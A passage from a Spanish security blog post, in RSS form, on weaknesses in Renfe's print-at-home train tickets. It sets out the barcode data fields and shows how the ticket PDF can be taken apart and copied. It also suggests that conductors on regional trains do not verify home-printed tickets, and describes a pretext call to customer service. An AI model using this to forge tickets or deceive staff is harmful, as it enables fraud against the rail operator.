Una vez decodificado vemos que contiene una secuencia de caracteres alfanumericos con la siguiente disposición.<br />
&#8220;nº billete+ID Estación de Origen+ID Estacion de Destino+fecha+ID de tren+ID coche+ID plaza+Localizador&#8221; Todo ello sin espacios entre campos.</p>
<p><strong>4.Estaciones de salida y destino.</strong><br />
Cada estación tiene asociado un ID.</p>
<p><strong>5.Tren</strong><br />
El tipo e ID de tren. Cada tren que realiza un determinado recorrido tiene un ID asociado.</p>
<p><strong>6.Cadena de datos</strong><br />
Contiene: IDTren+IDEstacionOrigen+IDEstacionDestino+Fecha+Tipo de Plaza+Coche+nºPlaza+Tarifa</p>
<p><strong>7.Código de Barras.</strong><br />
Es de Tipo EAN 128, y contiene lo mismo que el Datamatrix.</p>
<p>¿Dónde podemos conseguir los códigos de identificación de las  estaciones y los trenes? Venga currároslo un poco jeje&#8230;una pista <a href="https://w1.renfe.es/vol/js2/index.js">https://w1.renfe.es/vol/js2/index.js</a></p>
<p>¿Necesitamos demasiado GIMP/Photoshop para generarnos un billete? Según Renfe cuenta con las medidas necesarias para evitar su falsificación.Nosotros comprobamos que en vez de generar un pdf opaco que lo dificulte, el sistema de Renfe te genera un pdf compuesto de distintas partes, la imagen de fondo, los glyphs, etc&#8230; es decir puedes extraer los caracteres de la fuente, la imagen de fondo y hacer una copia exacta. Tan solo tienes que usar un editor de pdf o cualquier utilidad de extracción de streams.</p>
<p>Bien. Hasta aquí tenemos todos los elementos que componen un billete. En este punto sabríamos cómo generar uno igual, una copia o uno nuevo. Obviamente con datos como el nº de billete y el identificador falseados. ¿Está todo perdido? No! Ahora llega la parte divertida, ¿en qué situaciones un billete aparentemente válido, pero falso, podría &#8220;colar?&#8221;.</p>
<p><strong>El &#8220;aparatico&#8221;</strong></p>
<p>La clave es el sistema de Venta en Ruta, llamado: &#8220;Vertanet&#8221; y sus &#8220;vertas&#8221;; las TPVs que llevan los interventores . En la zona norte, regionales y algunos media distancia tenemos el siguiente dispositivo. Observación y un poco de google nos llevan a este dispositivo:</p>
<blockquote><p>Intermec PenKey 6110 + módulo impresora 6802 . Tiene soporte para GSM,IrDA y un puerto serie para añadirle módulos  adicionales.</p></blockquote>
<p><a href="http://blog.48bits.com/wp-content/uploads/2010/06/seniorevisor.png"><img src="http://blog.48bits.com/wp-content/uploads/2010/06/seniorevisor.png" alt="" title="seniorevisor" width="405" height="319" class="aligncenter size-full wp-image-1411" /></a></p>
<p>Se empezaron a utilizar en 2002 aproximadamente. Por lo tanto, antes de que el billete impreso final estuviera disponible <img src='http://blog.48bits.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>La experiencia me dice que los interventores en regionales/regionales express no comprueban los billetes impresos en casa mediante esta TPV.¿ Quiere esto decir que no se pueden comprobar? ¿Están capacitados estos dispostivos para leer códigos de barras/bidimensionales?. Podrían estarlo, lo que no quiere decir que lo estén en todo caso.</p>
<p>¿Están habilitados para comunicarse con el sistema central en tiempo real para poder verificar un billete impreso? Podría ser viable, lo que no quiere decir que esté implementado.</p>
<p>Vamos a hacer un poco de ingeniería social, cambiamos el chip y nos ponemos en el rol de un participante cualquiera de &#8220;<a href="http://www.cuatro.com/granjero-busca-esposa/">granjero busca esposa</a>&#8221; para llamar a &#8220;atención al cliente de Renfe&#8221; sin levantar sospechas, a ver qué podemos averiguar <img src='http://blog.48bits.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  . Esta es una de las llamadas&#8230;</p>
<pre>
<object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/DbvZE2VxSt8&#038;hl=en&#038;fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/DbvZE2VxSt8&#038;hl=en&#038;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object>
</pre>
<p>¿Conclusiones?. Que cada uno saque las suyas&#8230;Yo siempre pago mis viajes. Soy un tío legal&#8230; eee!! que os oigo las risas, hijosputa!</p>
<blockquote><p>De ningún modo estoy animando a la gente a cometer fraude,no merece la pena. Aqui sólo se han expuesto datos técnicos al alcance de cualquiera. El uso o abuso de ellos es responsabilidad de cada uno.</p></blockquote>
<p>Por cierto, estaré dando charlas por Valencia este julio, 8 y 9 en el <a href="http://www.informatica64.com/iiicursoverano/">Curso de Verano</a> y <a href="http://www.informatica64.com/asegurait8/">asegur@IT</a> . El 27 del mismo mes en la <a href="http://www.campus-party.es/2010/Seguridad-y-Redes.html">Campus Party</a>. ¡Nos vemos por allí!</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.48bits.com/2010/06/14/%c2%bfesta-renfe-%c2%bfpuede-bajar-a-jugar/feed/</wfw:commentRss>
		<slash:comments>26</slash:comments>
		</item>
	</channel>
</rss>

